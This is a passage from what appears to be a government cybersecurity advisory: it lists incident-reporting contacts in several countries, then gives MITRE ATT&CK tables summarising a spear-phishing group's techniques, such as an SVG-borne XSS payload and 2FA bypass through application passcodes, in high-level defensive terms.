<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
